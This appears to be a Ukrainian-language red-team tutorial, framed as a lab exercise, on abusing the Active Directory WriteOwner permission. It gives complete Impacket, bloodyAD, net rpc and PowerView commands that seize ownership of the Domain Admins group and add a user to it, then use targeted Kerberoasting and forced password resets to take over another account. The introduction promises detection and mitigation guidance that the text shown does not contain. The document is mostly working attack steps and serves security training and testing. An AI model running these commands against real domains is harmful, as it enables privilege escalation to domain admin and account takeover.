_ SEARCH_ARCHIVE [/]
[ CLOSE_SESSION ]
:(

SYSTEM_HALTED

Your device ran into a critical error due to an unauthorized shell command. The system was halted to prevent data leakage and kernel corruption.

SYS_SEARCH v1.0.4 // CORE_INDEX ⚠️ [!] NEVER TYPE "EXIT" OR "SHUTDOWN" [ESC] TO ABORT
>>
>> LOC: ARCHIVE_ROOT/redteam/abusing_ad-dacl_writeowner // SEC_LEVEL: 01 // STATUS: CONFIDENTIAL

>

#AD-DACL#PRIVILEGE ESCALATION#ACTIVE DIRECTORY
FILE_INFO_DECRYPTED
TRANSLATE: @exploit.com.ua

У цій публікації ми детально розглянемо зловживання привілеєм WriteOwner в Active Directory — потужну техніку, яка дозволяє зловмисникам змінювати власника об’єктів каталогу. Зокрема, зловживаючи дозволом WriteOwner у списках керування доступом (DACL), супротивники можуть захоплювати контроль над критично важливими об’єктами та підвищувати свої привілеї в домені.

Для початку ми опишемо налаштування лабораторії, необхідне для симуляції цих атак, і зіставимо методи з фреймворком MITRE ATT&CK, щоб чітко визначити пов’язані техніки та тактики. Крім того, ми розглянемо механізми виявлення підозрілої активності, пов’язаної з атаками WriteOwner, а також надамо дієві рекомендації щодо усунення цих вразливостей. Загалом, цей огляд надає фахівцям із безпеки критично важливі знання для розпізнавання цих поширених загроз та захисту від них.

Зміст

  • Зловживання AD-DACL — WriteOwner
  • Дозвіл WriteOwner
  • Передумови
  • Налаштування лабораторії – Користувач має дозвіл WriteOwner на групу Domain Admin
  • Фаза експлуатації I – Користувач має дозвіл WriteOwner на групу
  • Bloodhound – Пошук слабких дозволів
  • Методи експлуатації – Надання володіння та повного контролю з наступною маніпуляцією обліковими записами (T1098)
  • Інструмент Impacket (Linux) – Надання володіння та повного контролю
  • Linux – Додавання учасника до групи
  • Linux Net RPC – Samba
  • Linux Bloody AD
  • Windows PowerShell Powerview – Надання володіння та повного контролю
  • Команда Windows Net – Додавання учасника до групи
  • Налаштування лабораторії – Користувач має дозвіл WriteOwner на іншого користувача
  • Фаза експлуатації II – Користувач має дозвіл WriteOwner на іншого користувача
  • Bloodhound – Пошук слабких дозволів
  • Методи експлуатації – Надання володіння та повного контролю з наступним Kerberoasting (T1558.003) або зміною пароля (T1110.001)
  • Інструмент Impacket (Linux) – Надання володіння та повного контролю
  • Python-скрипт для Linux – TargetedKerberoast
  • Linux – Зміна пароля
  • Linux Net RPC – Samba
  • Linux Bloody AD
  • Windows PowerShell Powerview – Надання володіння та повного контролю
  • Windows PowerShell Powerview – Kerberoasting
  • Windows PowerShell Powerview – Зміна пароля

Дозвіл WriteOwner

Дозвіл WriteOwner дозволяє користувачу змінювати власника об’єкта на іншого користувача або суб’єкта (principal), зокрема на того, який контролюється зловмисником. Відповідно, атакуючий може експлуатувати цей дозвіл, щоб захопити право власності над цільовим об’єктом.

Як тільки зловмисник успішно стає власником, він отримує можливість повністю маніпулювати об’єктом. Це включає зміну дозволів для надання собі або іншим права Full Control (Повний контроль) над об’єктом. Наприклад, атакуючий може призначити права Full Control, що забезпечить необмежений доступ для читання, запису або видалення об’єкта.

  • Зокрема, права WriteOwner на групу дозволяють зловмисникам надати собі право додавати нових учасників до цієї групи.
  • Якщо цей дозвіл застосовано до об’єкта користувача, це дозволяє атакуючим отримати повний контроль над обліковим записом.
  • У випадку з об’єктами комп’ютерів, це дозволяє зловмиснику отримати необмежений доступ та контроль над системою.
  • Нарешті, володіння правами WriteOwner на об’єкт домену дає можливість зловмиснику виконати операцію DCSync, симулюючи роботу Контролера Домену для витягування конфіденційних облікових даних.

Передумови

  • Windows Server 2019 у ролі Active Directory.
  • Kali Linux
  • Інструменти: BloodHound, Net RPC, PowerView, BloodyAD, Impacket.
  • Windows 10/11 — у ролі клієнтської машини.

Налаштування лабораторії – Користувач має дозвіл WriteOwner на групу Domain Admin

Створення середовища AD:

Щоб симулювати середовище Active Directory, вам знадобляться Windows Server у ролі контролера домену (DC) та клієнтська машина (Windows або Linux), на якій ви зможете запускати інструменти для збору інформації та проведення експлуатації.

Контролер домену:

  • Встановіть Windows Server (рекомендовано 2016 або 2019).
  • Підвищте роль сервера до Контролера домену, додавши роль Active Directory Domain Services.
  • Налаштуйте домен (наприклад, ignite.local).

Облікові записи користувачів:

  • Створіть звичайний обліковий запис користувача з іменем Aaru.
net user aaru Password@1 /add /domain

Призначення привілею «WriteOwner» користувачу Aaru:

Після налаштування середовища AD необхідно призначити користувачу Aaru привілей «WriteOwner» на групу Domain Admins.

Кроки:

  • Відкрийте оснастку Active Directory Users and Computers (ADUC) на контролері домену.
  • Увімкніть відображення розширених функцій, натиснувши View (Вигляд) > Advanced Features (Додаткові компоненти).
  • Знайдіть групу Domain Admins у контейнері Users.
  • Клацніть правою кнопкою миші на Domain Admins і виберіть Properties (Властивості).

WriteOwner Active Directory Abuse

  • Перейдіть на вкладку Security (Безпека) і натисніть кнопку Add (Додати).

  • У полі «Enter the object name to select» введіть Aaru, натисніть Check Names (Перевірити імена), а потім — OK.

WriteOwner Active Directory Abuse

  • Виберіть користувача Aaru і в розділі Permissions (Дозволи) натисніть кнопку Advanced (Додатково).

  • У вікні Advanced security settings (Додаткові параметри безпеки) двічі клацніть на запис дозволів користувача Aaru.
  • У розділі Permissions позначте галочкою пункт Modify Owner (Зміна власника).
  • Застосуйте налаштування.

WriteOwner Active Directory Abuse

На цьому етапі Aaru має права WriteOwner на групу Domain Admins, що означає, що він може змінити власника групи та згодом додати себе до неї.

Фаза експлуатації II – Користувач має дозвіл WriteOwner на групу

Bloodhound – Пошук слабких дозволів

Використання BloodHound для підтвердження привілеїв: Ви можете скористатися BloodHound, щоб переконатися, що Aaru дійсно має дозвіл WriteOwner на групу Domain Admins.

bloodhound-python -u aaru -p Password@1 -ns 192.168.1.6 -d ignite.local -c All

WriteOwner Active Directory Abuse

На графічному представленні Bloodhound тестер може ідентифікувати вихідні об’єкти керування (outbound object control) для вибраного користувача, де значення контролю першого ступеня (first degree object control) дорівнює 1.

Таким чином, було виявлено, що користувач Aaru має привілей WriteOwner над групою Domain Admins.

WriteOwner Active Directory Abuse

Методи експлуатації – Надання володіння та повного контролю з наступною маніпуляцією обліковими записами (T1098)

Інструмент Linux Impacket – Надання володіння та повного контролю

Надання права власності:

У UNIX-подібних системах це можна зробити за допомогою скрипта owneredit.py (Python) з набору Impacket або його альтернативи impacket-owneredit.

impacket-owneredit -action write -new-owner 'aaru' -target-dn 'CN=Domain Admins,CN=Users,DC=ignite,DC=local' 'ignite.local'/'aaru':'Password@1' -dc-ip 192.168.1.6

За допомогою owneredit DACL (список керування доступом) для цього об’єкта було успішно змінено, і тепер користувач aaru є власником (Owner) цієї групи.

Надання повного контролю:

Тепер надамо користувачу «Aaru» повний контроль (Full Control) над групою Domain Admins, використовуючи інструмент dacledit із набору Impacket.

У UNIX-подібних системах це можна зробити за допомогою Impacket’s dacledit.py (Python) або альтернативної команди impacket-dacledit.

impacket-dacledit -action 'write' -rights 'WriteMembers' -principal 'aaru' -target-dn 'CN=Domain Admins,CN=Users,DC=ignite,DC=local' 'ignite.local'/'aaru':'Password@1' -dc-ip 192.168.1.6

WriteOwner Active Directory Abuse

За допомогою dacledit DACL для цього об’єкта було успішно змінено, і тепер користувач aaru має повний контроль (Full Control) над цією групою.

Linux – Додавання учасника до групи

Linux Net RPC – Samba

Тестувальник може зловжити цим дозволом, додавши користувача Aaru до групи Domain Admins, а потім переглянути список учасників цієї групи, щоб переконатися, що Aaru став адміністратором домену.

net rpc group addmem "Domain Admins" aaru -U ignite.local/aaru%'Password@1' -S 192.168.1.6

Linux Bloody AD

Як альтернативу, цього можна досягти за допомогою інструменту bloodyAD

bloodyAD --host "192.168.1.6" -d "ignite.local" -u "aaru" -p "Password@1" add groupMember "Domain Admins" "aaru"

Windows PowerShell PowerView – Надання володіння та повного контролю

У системі Windows цього можна досягти за допомогою командлета Set-DomainObjectOwner для надання прав власності, а потім Add-DomainObjectAcl (модуль PowerView), щоб отримати повні права доступу над цільовим об’єктом.

powershell -ep bypass
Import-Module .PowerView.ps1
Set-DomainObjectOwner -Identity 'Domain Admins' -OwnerIdentity 'aaru'
Add-DomainObjectAcl -Rights 'All' -TargetIdentity "Domain Admins" -PrincipalIdentity "aaru"

WriteOwner Active Directory Abuse

Команда Windows Net – Додавання учасника до групи

Цього можна досягти за допомогою вбудованого інтерфейсу командного рядка, використовуючи команду net.

net group "domain admins" aaru /add /domain

Таким чином, у властивостях користувача ми бачимо, що Aaru став учасником групи Domain Admins.

WriteOwner Active Directory Abuse

Налаштування лабораторії – Користувач має дозвіл WriteOwner на іншого користувача

У цьому налаштуванні лабораторії ми зімітуємо сценарій, у якому один користувач має дозвіл WriteOwner над іншим користувачем. Зокрема, ми створимо двох користувачів: Ankur та Sakshi, де Sakshi отримає доступ WriteOwner над Ankur.

Створення середовища AD та облікових записів користувачів

Для початку налаштуйте Windows Server (рекомендовано 2016 або 2019) як контролер домену (DC) та підготуйте клієнтську машину (Windows або Linux) для запуску інструментів збору даних та експлуатації.

Контролер домену:

  • Встановіть Windows Server (рекомендовано 2016 або 2019).
  • Підвищте його роль до контролера домену, додавши роль Active Directory Domain Services.
  • Налаштуйте домен (наприклад, ignite.local).

Облікові записи користувачів:

  • Далі створіть два облікові записи користувачів AD з іменами Ankur та Sakshi, використовуючи наступні команди:
net user ankur Password@1 /add /domain
net user sakshi Password@1 /add /domain

Призначення привілею «WriteOwner»:

Після створення користувачів перейдіть до призначення дозволу WriteOwner користувачу Sakshi над обліковим записом користувача Ankur.

  • Відкрийте оснастку Active Directory Users and Computers (ADUC) на контролері домену.
  • Увімкніть відображення розширених функцій, натиснувши View (Вигляд) > Advanced Features (Додаткові компоненти).
  • Знайдіть користувача Ankur у контейнері Users.
  • Клацніть правою кнопкою миші на користувачі Ankur і виберіть Properties (Властивості).

WriteOwner Active Directory Abuse

Зміна дозволів
  • Перейдіть на вкладку Security (Безпека) і натисніть кнопку Add (Додати).
  • У полі «Enter the object name to select» введіть Sakshi, натисніть Check Names (Перевірити імена), а потім — OK.
  • Виберіть користувача Sakshi і в розділі Permissions (Дозволи) натисніть кнопку Advanced (Додатково).

  • У вікні Advanced security settings (Додаткові параметри безпеки) двічі клацніть на запис дозволів користувача Sakshi.
  • У розділі Permissions (Дозволи) позначте галочкою пункт Modify owner (Зміна власника).
  • Натисніть Apply (Застосувати), щоб зберегти налаштування.

WriteOwner Active Directory Abuse

На цьому етапі користувач Sakshi володіє дозволом WriteOwner над об’єктом користувача Ankur. Як результат, Sakshi може привласнити право власності і потенційно підвищити привілеї або маніпулювати дозволами цього об’єкта.

Фаза експлуатації I – Користувач має дозвіл WriteOwner на іншого користувача

Bloodhound – Пошук слабких дозволів

Використання BloodHound для підтвердження привілеїв: Ви можете скористатися BloodHound, щоб переконатися, що Sakshi має дозвіл WriteOwner для користувача Ankur.

bloodhound-python -u sakshi -p Password@1 -ns 192.168.1.6 -d ignite.local -c All

WriteOwner Active Directory Abuse

На основі графічного представлення BloodHound тестер може ідентифікувати вихідні об’єкти керування (outbound object control) для вибраного користувача, де значення прямого контролю (first degree object control) дорівнює 1.

З графіка видно, що користувач Sakshi має привілей WriteOwner над користувачем Ankur.

WriteOwner Active Directory Abuse

Методи експлуатації – Надання володіння та повного контролю з наступним Kerberoasting (T1558.003) або зміною пароля (T1110.001)

Атакуючі можуть експлуатувати дозвіл WriteOwner, коли вони отримують контроль над об’єктом, що має цей привілей щодо іншого об’єкта каталогу. Це дозволяє їм привласнити право власності, потім призначити повний контроль і, зрештою, здійснити такі атаки, як Kerberoasting або зміна пароля, не знаючи поточних облікових даних жертви.

Інструментарій Linux Impacket – Надання володіння та повного контролю

Надання права власності:

Для початку скористайтеся набором інструментів Impacket у UNIX-подібній системі. Інструмент owneredit.py дозволяє змінювати власника об’єкта каталогу.

impacket-owneredit -action write -new-owner 'sakshi' -target-dn 'CN=ankur,CN=Users,DC=ignite,DC=local' 'ignite.local'/'sakshi':'Password@1' -dc-ip 192.168.1.6

За допомогою owneredit DACL (список керування доступом) для об’єкта користувача Ankur успішно змінено. У результаті користувач Sakshi тепер є власником облікового запису Ankur.

Надання повного контролю: Далі скористайтеся dacledit.py, щоб призначити Sakshi повний контроль (Full Control) над об’єктом користувача Ankur.

У UNIX-подібних системах це можна зробити за допомогою Impacket’s dacledit.py (Python) або альтернативної команди impacket-dacledit.

impacket-dacledit -action 'write' -rights 'FullControl' -principal 'sakshi' -target-dn 'CN=ankur,CN=Users,DC=ignite,DC=local' 'ignite.local'/'sakshi':'Password@1' -dc-ip 192.168.1.6

WriteOwner Active Directory Abuse

За допомогою dacledit DACL для цього об’єкта було успішно змінено, і тепер Sakshi має повний контроль над користувачем Ankur.

Тепер, оскільки користувач має повний контроль над ціллю, він може або виконати атаку Kerberoasting, або змінити пароль, не знаючи поточного пароля цілі.

Linux Python Script – TargetedKerberoast

У UNIX-подібних системах це можна зробити за допомогою targetedKerberoast.py (Python).

Цей скрипт автоматизує процес експлуатації повного контролю (Full Control) над об’єктом. Він автоматично встановлює значення ServicePrincipalName (SPN) для цільового користувача (якщо воно ще не встановлено), що дозволяє будь-якому автентифікованому користувачу запросити TGS-квиток (Service Ticket) для цього облікового запису та спробувати зламати його пароль офлайн.

./targetedKerberoast.py --dc-ip '192.168.1.6' -v -d 'ignite.local' -u 'sakshi' -p 'Password@1'

WriteOwner Active Directory Abuse

Зрештою, щойно атакуючі отримають хеші (наприклад, за допомогою Kerberoasting), вони можуть скористатися такими інструментами, як John the Ripper, і поширеними словниками, як-от RockYou.txt, щоб зламати слабкі паролі методом перебору.

Linux – Зміна пароля

Linux Net RPC – Samba

Цього можна досягти в UNIX-подібній системі за допомогою net — інструмента для адміністрування Samba та CIFS/SMB клієнтів.

net rpc password ankur 'Password@987' -U ignite.local/sakshi%'Password@1' -S 192.168.1.6

WriteOwner Active Directory Abuse

Linux Bloody AD

Як альтернативу, ви можете досягти цього за допомогою bloodyAD

bloodyAD --host "192.168.1.6" -d "ignite.local" -u "sakshi" -p "Password@1" set password "ankur" "Password@987"

Windows PowerShell PowerView – Надання володіння та повного контролю

У системах Windows зловмисники можуть використовувати модуль PowerView, щоб надати собі як право власності (Ownership), так і повний контроль (Full Control) над цільовим об’єктом. Цей процес включає два основних командлети: Set-DomainObjectOwner та Add-DomainObjectAcl.

powershell -ep bypass
Import-Module .PowerView.ps1
Set-DomainObjectOwner -Identity 'ankur' -OwnerIdentity 'sakshi'
Add-DomainObjectAcl -Rights 'All' -TargetIdentity "ankur" -PrincipalIdentity "sakshi"

Це призначає право власності на об’єкт користувача Ankur користувачеві Sakshi.

WriteOwner Active Directory Abuse

За допомогою Set-DomainObjectOwner та Add-DomainObjectAcl DACL для об’єкта було успішно оновлено. У результаті користувач Sakshi отримує повний контроль над обліковим записом Ankur, включаючи дозволи на зміну, скидання пароля або його видалення.

Тепер, оскільки користувач має повний контроль над ціллю, він може або виконати Kerberoasting, або змінити пароль, не знаючи поточного пароля цілі.

Windows PowerShell Powerview – Kerberoasting

Щоб продовжити, атакуючі можуть використовувати командлети PowerView — Set-DomainObject та Get-DomainSPNTicket — для маніпуляції SPN (Service Principal Names) та запиту сервісних квитків для подальшого офлайн-злому.

Set-DomainObject -Identity 'ankur' -Set @{serviceprincipalname='nonexistent/hacking'}
Get-DomainUser 'ankur' | Select serviceprincipalname
$User = Get-DomainUser 'ankur'
$User | Get-DomainSPNTicket

WriteOwner Active Directory Abuse

Kerberoasting дозволяє зловмисникам витягувати квитки TGS для облікових записів із увімкненим SPN, а потім зламувати їх офлайн за допомогою інструментів для перебору хешів.

Windows PowerShell PowerView – Зміна пароля

Атакуючий може змінити пароль користувача за допомогою модуля PowerView. Це можна зробити за допомогою командлета Set-DomainUserPassword.

Як альтернативу, якщо атакуючий віддає перевагу повному захопленню облікового запису, він може змінити пароль користувача, не знаючи поточного.

$NewPassword = ConvertTo-SecureString 'Password1234' -AsPlainText -Force
Set-DomainUserPassword -Identity 'ankur' -AccountPassword $NewPassword

Користувач Sakshi скидає пароль Ankur, не маючи жодного уявлення про оригінальний пароль, що гарантує повну компрометацію облікового запису.

[!] SYSTEM_INCOMPATIBILITY_REPORT

FATAL_ERROR: MOBILE_DISPLAY_NOT_SUPPORTED

The requested resource "exploit.com.ua" is optimized for desktop terminal environments only.

Mobile UI decoding is currently in progress...